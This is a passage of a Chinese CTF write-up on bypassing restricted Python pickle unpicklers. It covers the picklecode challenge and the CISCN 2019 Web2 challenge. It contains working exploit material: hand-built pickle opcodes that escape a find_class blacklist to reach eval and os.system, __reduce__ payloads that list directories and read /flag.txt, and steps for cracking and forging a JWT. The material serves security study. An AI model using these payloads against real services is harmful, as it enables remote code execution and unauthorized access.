可以看到,globals()​函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()​来绕过find_class()​了。

不过值得注意的是,由于pickle.loads()​的参数需要为byte​类型。而在Protocol 0​中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class​限制。

在第三版本之后 才引入了B和C字节码来操作byte类型

关键词绕过

V

就是使用unicode编码

c__main__
secret
(V\u006bey  #key
S'asd'
db.

十六进制

c__main__
secret
(S'\x6bey'  #key
S'asd'
db.

内置模块获取关键字

使用sys.modules[xxx]可以获取其全部属性 我们可以使用reversed将列表反序 然后使用next()指向关键词 从而输出

print(next(reversed(dir(sys.modules['secret']))))

我们将上面的代码使用opcode表示一下

(((c__main__
secret
i__builtins__
dir
i__builtins__
reversed
i__builtins__
next
.

题目

code-breaking2018 picklecode

上面在builtins讲的例子就是来源于这里 重新打一下

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

只能从builtins中取且不能有上面的blacklist中的函数

那么 我们需要从其自带的builtins中 获取出我们的 命令执行函数

众所周知builtins中的getattr函数 可以获取属性

那么 我们尝试使用这个去获取一下eval呢

可以获取到构建好的eval 然后 我们需要获取到这个builtins的一级模块 我们直接使用pickle是获取不到的 我们看一下他的globals

其中是有builtins的 我们需要将其取出来

构造一个get

获取到get方法

然后这个绕过就串起来了

通过get获取builtins模块 获取builtins模块中的eval 从而进行命令执行

builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval')("__import__('os').system('whoami')")

我们将其转换成opcode 如下

cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.

成功绕过

同时也能执行命令

[CISCN 2019华北Day1]Web2

进入环境 需要寻找购买lv6

import requests

url = "http://ip/shop?page="

for i in range (1,200):
    r = requests.get(url+str(i))

    if r.text.find('lv6.png') != -1:
        print(i)
        break

找到在181页

进入购买

购买需要admin权限 我们在cookie中发现jwt 解密发现user为asd

爆破密钥为1Kun 将user加密为admin

购买时将折扣值调为很小的值

发现源码

在admin中存在反序列化漏洞 会将结果渲染出来

import pickle
import commands
import urllib

class poc(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a=poc()

print(urllib.quote(pickle.dumps(a)))
import pickle
import urllib

class poc(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a=poc()

print(urllib.quote(pickle.dumps(a)))

参考文章

https://goodapple.top/archives/1069

https://xz.aliyun.com/t/7436

https://tttang.com/archive/1782


文章来源: https://xz.aliyun.com/t/12367
如有侵权请联系:admin#unsafe.sh